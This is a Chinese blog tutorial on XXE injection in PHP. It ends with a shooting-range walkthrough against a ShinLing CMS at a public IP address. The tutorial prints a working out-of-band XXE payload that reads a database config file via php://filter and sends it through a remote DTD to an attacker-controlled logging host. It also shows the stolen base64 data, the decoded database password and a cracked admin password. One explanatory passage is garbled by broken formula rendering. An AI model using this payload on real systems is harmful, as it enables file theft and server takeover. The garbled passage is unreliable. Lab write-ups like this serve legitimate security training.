XXE实体注入(超详细!)

XXE实体注入(超详细!)可以把它理解为txt,就是存储文件的,读取并调用出来,这是最核心的将你的代码当成XXE代码,然后XXE再交给PHP去执行将1.txt的东西,放入test这个变量实体就是变量&test就是输出这个变量<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行最主要的是访问的地址,file,http等协议都可以。XXE:XML外部实体注入,原理:.

大家好,又见面了,我是你们的朋友全栈君。

在这里插入图片描述

可以把它理解为txt,就是存储文件的,

读取并调用出来,这是最核心的

在这里插入图片描述
在这里插入图片描述

将你的代码当成XXE代码,然后XXE再交给PHP去执行

将1.txt的东西,放入test这个变量
实体就是变量
&test就是输出这个变量
<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行

最主要的是访问的地址,file,http等协议都可以。

XXE:XML外部实体注入,原理:有了XML实体,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。XML是被设计用来存储以及传输信息,本身不会做任何事情。真正读取的是PHP有一个处理XML的函数:simplexml_load_string()。
程序分析:SYSTEM关键字通过file协议读取c:/1.txt里面的内容赋值给test实体,&test引用实体赋值给了$test变量,这里所做的是构造xml代码,将xml代码传参给了simplexml_load_string()函数执行,真正的读取是在这个函数执行的,最后print_r输出。
没有simplexml_load_string()函数,是读取不出来的
在这里插入图片描述
在这里插入图片描述

有的时候,XXE并不是都会给显示出来,就像sql里的盲注,不会给你直接显示出来。

在这里插入图片描述

演示

前面这个file_put_contents是php的一个写入函数,
只要我们去访问x.php并向id里传参东西,那么传参的东西就会被记录到147.txt里面。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
同理,我们把这个代码翻入XEE里面也是同样的效果,但是看起来要简单一点。
结合前面x.php里面的写入代码和x.php的传参+现在的XEE文件,我们就可以很简单的实现注入!

在这里插入图片描述
在这里插入图片描述
这里之所以有3个147,是我访问了3次。

在这里插入图片描述
简单来说就是只要有人访问了这个PHP文件,那么传参的数据就会被记录下来
在这里插入图片描述

XXE和ssrf很像,XXE需要依托于xml文件,而ssrf不需要依托xml文件。

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据传入xml
在这里插入图片描述
POST传参,然后输出
在这里插入图片描述

靶场练习

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
程序分析:SYSTEM关键字令XML解析器读取了C:/phpStudy/scms/conn/conn.php里面的内容并进行base64编码赋值给了实体file,同时去访问了炮台上的1.xml,在1.xml会将实体file里面的值当成$_GET获得的id传参,去访问了2.php,在2.php里面将id传参的值记录下来,写进了3.txt文档里。

靶场演示:靶场是一个闪灵cms,里面有个weixin/index.php文件

在这里插入图片描述

http://59.63.200.79:8207/weixin/

?signature=fdasfas

在这里插入图片描述

查找simplexml_load_string()函数
程序分析:$postArr = file_get_contents(“php://input”); 将获取post的传参,赋值给变量
p o s t A r r , 再 传 参 给 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 往 上 看 , 发 现 要 执 行 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 是 有 条 件 的 , postArr,再传参给simplexml_load_string()函数,往上看,发现要执行simplexml_load_string()函数,是有条件的, postArr,simplexmlloadstring()simplexmlloadstring()signature != “” 变量值不为空;且$signature = R E Q U E S T [ “ s i g n a t u r e ” ] ; 这 个 变 量 值 来 自 于 _REQUEST[“signature”]; 这个变量值来自于 REQUEST[signature];_REQUEST获得的参数。
攻击思路:将我们构造好的xml代码,通过post传参,传递给变量$postArr
攻击代码,读取conn.php里数据库配置文件:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

在这里插入图片描述

访问炮台上的http://59.63.200.79:8017/3.txt,获得数据,

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在这里插入图片描述
进行base64解码,获得数据库的账号,密码,库名
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
在这里插入图片描述
访问http://59.63.200.79:8207/adminer.php ,输入账号,密码,库名进行登录,登录成功
在这里插入图片描述

然后得到密码

在这里插入图片描述
将账号admin的 密码MD5解密得admintestv1

在这里插入图片描述

访问后台管理:http://59.63.200.79:8207/admin/#/app/index
提交flag: admintestv1
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142528.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(1)


相关推荐

  • open 函数[通俗易懂]

    open 函数[通俗易懂]open函数用来打开一个文件open返回值为一个文件句柄,从操作系统托付给你的python程序,一旦处理完文件,需要归还句柄,只有这样你的程序不会超过一次能打开的文件句柄的数量上限withopen(‘photo.jpg’,’r+’)asf: jpgdata=f.read()open的第⼀个参数是⽂件名。第⼆个(mode打开模式)决定了这个⽂件如何被打开。如果你想读…

  • SpringBoot 使用 @Transactional 注解配置事务[通俗易懂]

    SpringBoot项目中需要配置事务管理,所以在这里系统地整理下关于@Transactional注解相关的知识!1、详细介绍事务管理是应用系统开发中必不可少的一部分。Spring为事务管理提供了丰富的功能支持。Spring事务管理分为编程式和声明式的两种方式。编程式事务指的是通过编码方式实现事务;声明式事务基于AOP,将具体业务逻辑与事务处理解耦。声明式事务管理使业务代…

  • vue如何引用js文件_html转化为vue组件

    vue如何引用js文件_html转化为vue组件VUE项目中引入JS文件的几种方法在开发Vue项目的时候,有时需要使用一些非ES6格式的没有export的js库,可以有如下方法实现:1.在index.html页面使用script标签引入当然也可以使用cdn的地址。这样引入后的内容是全局的,可以在所有地方使用。Map2.在main.js中使用window.moduleName使用也可以放入Vue.prototype中,这样组件内都可以使用。va…

  • 回顾IDEA全局搜索快捷键

    回顾IDEA全局搜索快捷键Ctrl+Shift+F就可以进行全局搜索。注意如果安装了搜狗输入法,可能存在热键冲突。

  • 海量数据存储技术(cpu制造瓶颈)

    对于海量数据的处理随着互联网应用的广泛普及,海量数据的存储和访问成为了系统设计的瓶颈问题。对于一个大型的互联网应用,每天几十亿的PV无疑对数据库造成了相当高的负载。对于系统的稳定性和扩展性造成了极大的问题。通过数据切分来提高网站性能,横向扩展数据层已经成为架构研发人员首选的方式。水平切分数据库:可以降低单台机器的负载,同时最大限度的降低了宕机造成的损失;负载均衡策略:可以降低单台机器的访问负载,降…

  • hashmap动态扩容死循环_HashMap扩容

    hashmap动态扩容死循环_HashMap扩容HashMap扩容死循环问题源码分析问题(jdk1.7)一、首先hashmap单线程正常扩容遍历每个数组,依次遍历每个数组的链表,根据头插法由原来的1,2,3变为了3,2,1二、hashmap多线程扩容死循环问题两个线程e1,e2此时线程一先执行,但线程二的指向发生改变,改为线程变换后的具体存储;初始的e2指向0号位的1,但经过线程一的变换指向了2号位的1了,next也发生改变线程二开始在线程一的基础存储,当next2指向空时。e.next=newTable[i],也就

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号